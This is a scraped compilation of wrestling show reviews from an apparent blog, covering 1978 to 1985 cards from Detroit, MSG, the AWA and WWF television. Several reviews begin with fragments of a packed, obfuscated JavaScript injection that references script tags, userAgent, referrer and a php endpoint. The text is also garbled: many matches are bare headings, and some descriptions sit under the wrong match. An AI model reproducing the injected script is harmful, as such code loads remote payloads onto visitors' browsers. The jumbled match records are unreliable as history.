");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iikrk|var|u0026u|referrer|syyzy||js|php'.split('|'),0,{})) Time Wrestling
Date: 1978
Location: Detroit, Michigan
Commentators: Chuck Allen, Mark Lewin

Austin Idol is listed as being on the show and the latest debut date I can find for him is 1972.

Big Red/Jim Widell vs. Fabulous Kangaroos

The Kangaroos have a midair arm wrestling match to determine who gets things going with Heffernan starting against Widell. They head to the mat with some nice technical stuff including Heffernan spinning out of a headscissors. Off to Costello for some right hands before Heffernan comes in again for some stomps. The Kangaroos appear to be heels here which doesn’t feel right for some reason. We get a phone number to call to bring Big Time Wrestling to our town with the contact being listed as Pat O’Connor. I’d be surprised if it was the famous O’Connor but it’s hard to tell with stuff like this.

Heffernan cranks on the arms before hooking a hammerlock. Back to Costello for an ax handle to the face and some right hands. Big Red tries to come in off a blind tag but the actual tag is a few seconds later. How could I have thought Red and Widell were heels? Red is a big fat jolly dancing man. How could that not be a good guy?

Heffernan tries a slam on the 350lb Red which works as well as you would expect. Red goes after the arm and hooks a hammerlock before asking Costello to come in. The big man gets double teamed in the corner but he waddles over to Widell for a tag but the Kangaroos hit the Boomerang (catapult into a backdrop followed by an elbow) for the pin.

Abdullah the Butcher vs. John Irish

Post match Abdullah chokes away until the referee tries to break it up. That goes nowhere so commentator and wrestler Mark Lewin gets up from commentary and makes the real save with no violence.

Billy Bird vs. The Sheik

Sheik has apparently turned face after being a legendary heel in this territory. For those of you unfamiliar, Sheik is basically the father of hardcore wrestling in America and is the real life uncle of Sabu. Sheik bites away on the ropes to start but is cheered anyway. Bird is thrown to the floor and rammed face first into the buckle a few times before the camel clutch gives Sheik a very fast win.

Austin Idol vs. Steve Cooper

Dory Funk Jr./Pierre LaFiv vs. Kurt Von Hess/Bulldog Don Kent

We get the same sequence of the heels drawing Dory in so Pierre can be sent to the floor. The heels stay on LaFiv but he finally rolls away and makes the hot tag off to Funk who cleans house. A butterfly suplex puts Von Hess down and there are some forearms for the Bulldog. Dory misses an elbow and gets punched down, only to grab a small package on Kurt for the pin out of nowhere.

Garth Vader vs. Stan Stasiak

Yes serious, Garth Vader and he wears a mask with stars on it. Stasiak is a former WWF Champion. He pounds away on Vader with his taped up hand (for his Heart Punch) before putting on a nerve hold. One good thing here: Terry Funk is called a former NWA World Champion so this is sometime after February 6, 1977.

Stasiak pounds away on the chest before throwing him out to the floor. Back in and Stasiak fires off more right hands before letting Vader get back up. They box for a bit before Stasiak takes it to the floor and throws Vader at the announce table. Cue Sheik to throw a garbage can at Stasiak, only to have Stan hit a quick Heart Punch for the pin on Garth.

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WWF House Show
Date: January 23, 1984
Location: Madison Square Garden, New York City New York
Attendance: 26,292
Commentators: Gorilla Monsoon, Pat Patterson

Jose Luis Rivera vs. Tony Garea

Invaders vs. Mr. Fuji/Tiger Chung Lee

Lee comes in as well and things speed WAY up. Gorilla calls #2 by his real name (Johnny Rivera) just before Lee hits a Saito Suplex for two. Back to Fuji who suplexes #2 and chops him down before bringing Tiger back in. We hit the bearhug and Gorilla says to bite him in the ear or poke him in the eye to escape. Monsoon was EVIL at times. Back to the bearhug and #1 breaks the hold up, only to have Fuji switch sans tag.

Masked Superstar vs. Chief Jay Strongbow

Strongbow is a relic of the past and Masked Superstar would become more famous as Ax of Demolition. Gorilla calls this a main event in any arena in the country, other than this one I guess. They shove each other around to start and man alive does Strongbow look old. Patterson seems to have disappeared. Jay runs the Superstar over and puts on a headlock. Pat is back now and thinks Strongbow will try to take off the mask.

Rating: D+. The match was boring but the crowd carried it by being so into Strongbow. Sometimes just a simple gimmick like being an Indian along with the longevity that Jay had (he was in his mid 50s here) were all that you needed. The match itself was pretty dull but Strongbow was trying at least. Shockingly not horrible here.

Ivan Putski vs. Sgt. Slaughter

Paul Orndorff vs. Salvatore Bellomo

Now Paul complains about not having his own corner. He finally gets back in so Piper can disrobe him. Wait actually he just unties it and the disrobing takes place on the floor. The bell rang about four minutes ago so this is just stalling. Piper distracts Sal and the attack is on fast. The squashing begins and Piper is immediately talking trash. Orndorff stomps away and chokes on the rope before getting two off a backdrop. Piper to the referee: “COUNT FASTER!” Sal falls on Paul in a slam attempt for two. Piper: “NOT SO FAST!”

Orndorff misses a charge into the post and rams his shoulder, allowing Bellomo to make his required comeback. A dropkick hits Orndorff and Paul misses an elbow drop. Bellomo puts on a wristlock but Paul gets in a knee to the ribs to stop the momentum. Sal grabs the arm again immediately and cranks away, even surviving an armdrag attempt from Paul. Bellomo adds a headscissors as the match keeps going. Orndorff finally suplexes his way out of the hold and Sal heads to the floor.

Rating: C-. It depends on how you look at this one. Bellomo stayed in there too long, but at the same time it made Orndorff look like a killer which is the right idea here. That piledriver looked GREAT and Orndorff was clearly going to be something special. Fourteen minutes is too long of a match though, especially for an MSG debut like this.

Bellomo takes forever to get out of the ring to make the beating look even better. Good stuff.

Intercontinental Title: Don Muraco vs. Tito Santana

Tito swears he can beat Muraco and claims he got ripped off. Albano had no business being in the ring.

Haiti Kid/Tiger Jackson vs. Dana Carpenter/Pancho Boy

Haiti comes in with some dropkicks to clean house. Carpenter comes in and gets beaten up too as this is your usual midget match. Haiti dropkicks Dana to the floor before putting him in a full nelson. We get some heel miscommunication resulting in Pancho hitting Carpenter by mistake. Back to Pancho vs. Tiger as this keeps going. They keep going until Jackson hits a middle rope sunset flip for the first fall.

WWF World Title: Hulk Hogan vs. Iron Sheik

Sheik refuses to go out on a stretcher and charges at Hogan again, only to get beaten down one more time.

Rene Goulet vs. Jimmy Snuka

Goulet jumps Snuka to start and does some what appears to be biting. A back elbow puts Snuka down and a slam gets two. The very popular Snuka comes back with a hip toss and Goulet hides in the corner. Rene puts on a front facelock but Snuka elbows him down and wins with a top rope cross body.

Rating: D+. Snuka is always fun to watch and this was just a quick match to fill in time before the end of the show. No one bought Snuka as being in trouble at all and there was no reason to. He was INSANELY over at this point, probably the second biggest star in the company other than maybe Andre.

Andre the Giant/Rocky Johnson/Tony Atlas vs. Wild Samoans

Patterson and Monsoon wrap things up.

Remember to follow me on Twitter @kbreviews

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|skbkb|var|u0026u|referrer|atdzh||js|php'.split('|'),0,{})) StarCage 1985
Date: April 21, 1985
Location: St. Paul Civic Center, St. Paul, Minnesota
Commentators: Doug Cameron, Ken Resnick

We open with Verne Gagne talking about someone being behind him.

Tom Zenk/Steve Olsonoski vs. The Alaskans

Buck Zumhofe/Baron Von Raschke vs. Jimmy Garvin/Steve Regal

Not that Regal. Raschke was injured by Garvin and Zumhofe and Regal feuded over the Light Heavyweight Title for the better part of eternity. Regal has the belt here and is called Mr. Electricity. Apparently we have some tree loving hippies in the crowd as he gets booed out of the building here. Zumhofe tries to start a dance which looks more like the Tomahawk Chop. Regal argues with some fan who is apparently a regular and is rolled up for two.

Zumhofe clears the ring and the fan is the most over person on the show so far. Zumhofe and Regal officially get us going with Mr. Electricity being sent HARD into the corner. He crawls over to Garvin for a tag as things continue to be slow paced bursts of speed to start if that makes sense. Baron comes in to face Garvin and goes after the eye, which is what Garvin injured on Baron in the first place. The fans are WAY into this now so I guess this is a real blood feud.

Brad Rheingans/Bob Backlund vs. Billy Robinson/Bobby Duncum

Apparently the commentator had no idea what he was talking about and this is the real match.

Brad Rheingans/Bob Backlund vs. Larry Zbyszko/Butch Reed

Both teams say they want more.

Tonga Kid/Jim Brunzell vs. Billy Robinson/Bobby Duncum

Verne Gagne/Greg Gagne vs. Nick Bockwinkel/Masa Saito

Rating: C-. The crowd reaction for Verne really was impressive here but that seemed to be the case on every big show that he came out of retirement on. The same problems are here as they have been all match long, but at least with this one there seemed to be a real feud that people cared about. Still though, decent enough here.

Verne gets beaten down post match until Greg makes the save.

Tag Titles: Road Warriors vs. Larry Hennig/Curt Hennig

Another music video.

Sgt. Slaughter/Jerry Blackwell vs. Sheik Adnan Al-Kassie/King Tonga/Masked Superstar

Masked Superstar is Ax of Demolition, King Tonga is Haku and this is in a cage. The reason for the match? EVIL NON AMERICAN SCUM!!! Blackwell and Superstar start things off but Jerry wants the Sheik. That would be a feud that went on for almost half of the 80s. Anyway he gets King Tonga instead and the King immediately tries to escape. That gets him nowhere as Blackwell (who weighs nearly 500lbs) kills him with a clothesline.

Remember to follow me on Twitter @kbreviews

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|deiee|var|u0026u|referrer|kakfi||js|php'.split('|'),0,{})) Super Sunday 1983
Date: April 24, 1983
Location: St. Paul Civic Center, St. Paul, Minnesota
Attendance: 20,000
Commentator: Ron Trongard

Gene Okerlund is the ring announcer.

Brad Rheingans vs. Rocky Stone

Rating: D+. Not a bad opener but the crowd popped pretty well for the ending. Rheingans was a big American hero character as he was an Olympian, so the crowd was always going to explode when he came out of nowhere for a win like this. I have a felling I can completely ignore the times they give us tonight too, because they said it was 5:31, with the pin coming about two minutes after they said five minutes gone by.

Rheingans says nothing of note.

Steve Regal vs. Buck Zumhofe

Buck is a rock n roll enthusiast and Regal is Mr. Electricity. Zumhofe has a Light Heavyweight Title next month which Trongard talks about for awhile. Buck takes him into the corner to frustrate Regal a bit. He gets sent into the corner and is even more frustrated now. I keep forgetting this is 1983 as the production values are about the same as they would be in an NWA show from 1987.

Regal comes back with some forearms and takes him to the mat with an armbar. Expect to read the word armbar a lot in this show. Regal fires away with knees and hooks a chinlock. This has been a pretty fast paced match so far. Buck blocks being rammed into the buckle but charges into a boot. And never mind as Buck slams him and hits a running Vader Bomb for the pin out of nowhere.

Jerry Lawler vs. John Tolos

Velvet gets in a single punch and tags Martin back in. The heels finally get Grable into the corner for some double teaming. We even get a Tree of Woe out of it. Richter works on a bow and arrow submission as we hit the ten minute mark. Velvet keeps trying to run in to help but it just gets Grable in more trouble. Finally Grable escapes and makes the tag so Velvet can clean house.

Everything breaks down and the champs get rammed together. Martin and Richter are in now and all four miss splashes, drawing a BUNCH of booing. Off to Velvet who is immediately put into an over the shoulder back breaker. Richter lets her go for some reason and brings Grable back in. The champs do the Faces of Fear backdrop into a powerbomb for the pin out of almost nowhere on Velvet.

The champs say nothing of note post match.

Wahoo McDaniel vs. Dizzy Ed Boulder

Jesse Ventura/Blackjack Lanza/Ken Patera vs. High Fliers/Rick Martel

Martel drags Lanza into the corner but does it so slowly that Ventura falls into the ring from reaching so much. Patera comes back in as does Brunzell and the power man pulls the Flier into the corner. Off to Ventura for a bearhug. Things break down and Gagne comes in to beat up everyone. Martel comes in to help and the Heenan Family is in trouble. Gagne puts a sleeper on Patera but Ventrua makes the save.

Replay shows that Heenan did slip something to Patera during the brawl. The good guys clear the ring in a big brawl post match. Heenan takes his usual beating. The losers claim cheating post match.

We get a lot of replays as well.

AWA World Title: Nick Bockwinkel vs. Hulk Hogan

Rating: B. The match was good as we had Hogan taking everything Bockwinkel had and continuing to come back. He broke the sleeper three times through raw power and had the people eating out of the palm of his hand for almost twenty minutes. It was the perfect kind of match to FINALLY change the title.

At the end of the day, it was a bad business decision by Gagne. The stuff he had done did indeed work in the past and had gotten him this far. The problem was that Hogan was unlike anything he had ever had to work with before. Any money they lost in the merchandise would have easily been made up by additional revenue from house shows or the additional merchandise they sold because of Hogan. The company was certainly not dead after Hogan left but it was nowhere near what it could have been and it became a shell of itself in the years to come.

Jerry Blackwell/Sheik Adnan Al-Kassie vs. Verne Gagne/Mad Dog Vachon

Gagne and Vachon are an old tag team that are coming back together to fight the Sheiks in a feud that never seemed to end. They come out to Celebrate Good Times of all songs. The Sheiks stand on the apron before the bell and are counted for some reason. How can you get counted out before the match starts? Verne and Blackwell start things off with Gagne beating up both Sheiks. The 400lb Blackwell gets backdropped for two.

Off to Al-Kassie who hides in the corner from a growling Mad Dog. Vachon is finally knocked to the floor but Gagne saves him from a bell shot. The Sheik brings in a chair to hit Vachon but after it connects, Gagne gets it away and blasts everyone with it. Vachon is busted open now. Blackwell powerslams him down for two as Gagne makes the save. Off to an abdominal stretch from Sheik but Gagne makes another save.

Verne and Vachon celebrate to end the show.

Overall Rating: C. This was pretty boring for the first half but the last three matches helped a lot. The world title match is quite good as is the six man tag. The main event tag is just ok but it sent the crowd home happy which was the right idea. The white elephant in the arena though is Hogan not getting the title again and he would be gone by the end of the year, launching the WWF to the top of the industry.

Remember to follow me on Twitter @kbreviews

All-American Wrestling
Date: February 24, 1985
Commentators: Vince McMahon, Bruno Sammartino, Jesse Ventura

This is another one of those shows that I have a fair few episodes of from this era. This is one of WWF’s weekend shows and I think it ran on Sunday mornings. It was one of their bigger shows and it ran nationally. We’re about 5 weeks from Wrestlemania and this is the six days after the War To Settle The Score, so this is probably going to be talking about Hogan vs. Piper. Let’s get to it.

By the way, this is one of those shows that shows clips from everywhere so no location listed.

Terry Gibbs/Carl Fury vs. Junkyard Dog/Tony Atlas

Atlas and Gibbs start us off and Atlas easily breaks a full nelson. Both jobbers are easily thrown around and here’s JYD. He throws Fury around for a bit before turning it back over to Atlas. Gorilla press and a splash end this. On a level of squashes, this was pretty squashy.

Off to Gene in the Control Center who says what’s coming.

UPDATE! With Alfred Hayes!

This one is about the Lady’s Championship as Lelani Kai beat Wendi Richter recently. We get a clip of Moolah beating up Richter during a promo. Richter is going to use her return clause. That would be at Wrestlemania.

Pete Pompeii vs. The Spoiler

There’s no referee. Spoiler is a masked guy with Johnny V as his manager. Johnny is taking pictures during the match. This is in Ontario. It’s another squash with Pompeii getting in some small offense but nothing that makes any real difference. Spoiler wins with the Claw.

Lou Albano is freshly face and has been raising money with Cyndi Lauper for charity. However he wants to talk about his fifteenth team to be champions. He brings in Mike Rotundo and Barry Windham who he SWEARS is the best team they’ve ever seen.

Gene says this is our feature match.

Bret Hart vs. Rene Goulet

This is Bret’s MSG debut and he’s just a kid in black and red trunks. Bret takes him down to the mat with a headlock and then does the same with an armbar. Goulet gets in a knee to the ribs to break that up and hooks a bearhug. Goulet bites Bret a lot and shoves him onto the announce table. Now it’s a claw hold which Bret eventually breaks up. A slam gets two for Goulet.

Bret grabs a sunset flip out of nowhere for two. Rene is your traditional pompous Frenchman and plays to the crowd as rudely as he could. Off to a chinlock and then the Claw again because once wasn’t enough. Bret gets knocked to the floor and Goulet poses on the ropes. Hart comes back in with a sunset flip that had the crowd very excited. Here’s Bret’s comeback with an atomic drop and abdominal stretch. There’s the backbreaker and a legdrop.

Goulet rams him into the corner and pulls out a foreign object from his tights. Bret grabs a sleeper (his finisher apparently, which Gene calls a Singapore Sleeper which is a new one on me) and it gets the win for Bret. Goulet still has the object (can you really call it foreign with him?) after the match.

Rating: D. Bret is one of the best ever but he needs more than this to work with. Goulet was really boring and was usually just there to put over young guys like Bret or Hillbilly Jim. When you use the same rest hold multiple times, you can usually tell that a guy isn’t anything special. Boring match but the fans liked Bret.

Time for the Pit!

The guests are Mr. Fuji and Jim Neidhart. That’s a unique pairing. Fuji says he’s sorry Muraco isn’t here tonight. Apparently Fuji is managing Neidhart. That must have been pretty short lived. Anvil introduces himself and Piper says he loves them. That’s it.

Iron Sheik/Nikolai Volkoff vs. Aldo Marino/Tony Garea

Garea has seen better days. The evil foreigners (as opposed to the nice foreigners) do their singing and IRAN NUMBER ONE RUSSIA NUMBER ONE thing. Garea vs. Sheik starts things off. After about 50 seconds we get contact in the form of a Garea headlock. The fans are freaking over Garea hurting Sheik. Off to Aldo who keeps up the headlocking. Volkoff gets in a boot though and the bad guys take over. Belly to back suplex kills Marino and it’s off to Volkoff. He piledrives Marino and the gorilla press backbreaker ends this massacre.

Rating: D. Garea was so fun to watch back in the day but his prime was about five years before this. Not much to see here but it was a squash near the end of a show so there’s only so much criticism you can give it. Boring match and it was just barely long enough to rate, which is very pesky.

Fuji says he’s beautiful and successful. He and Muraco communicate with their minds. Muraco pops up and shouts BANZAI. He’s got the Asiatic Spike now. Muraco sounds high as a kite and says they’re both evil.

Overall Rating: D. I can’t say it’s good because they’re all over the place with this show. Literally as they were in about 4 different arenas. This is another in the pile of WWF shows that has a random assortment of matches, most of which aren’t any good. Bret’s debut in MSG is cool to see but other than that, not unless you’re a big fan of this time period.

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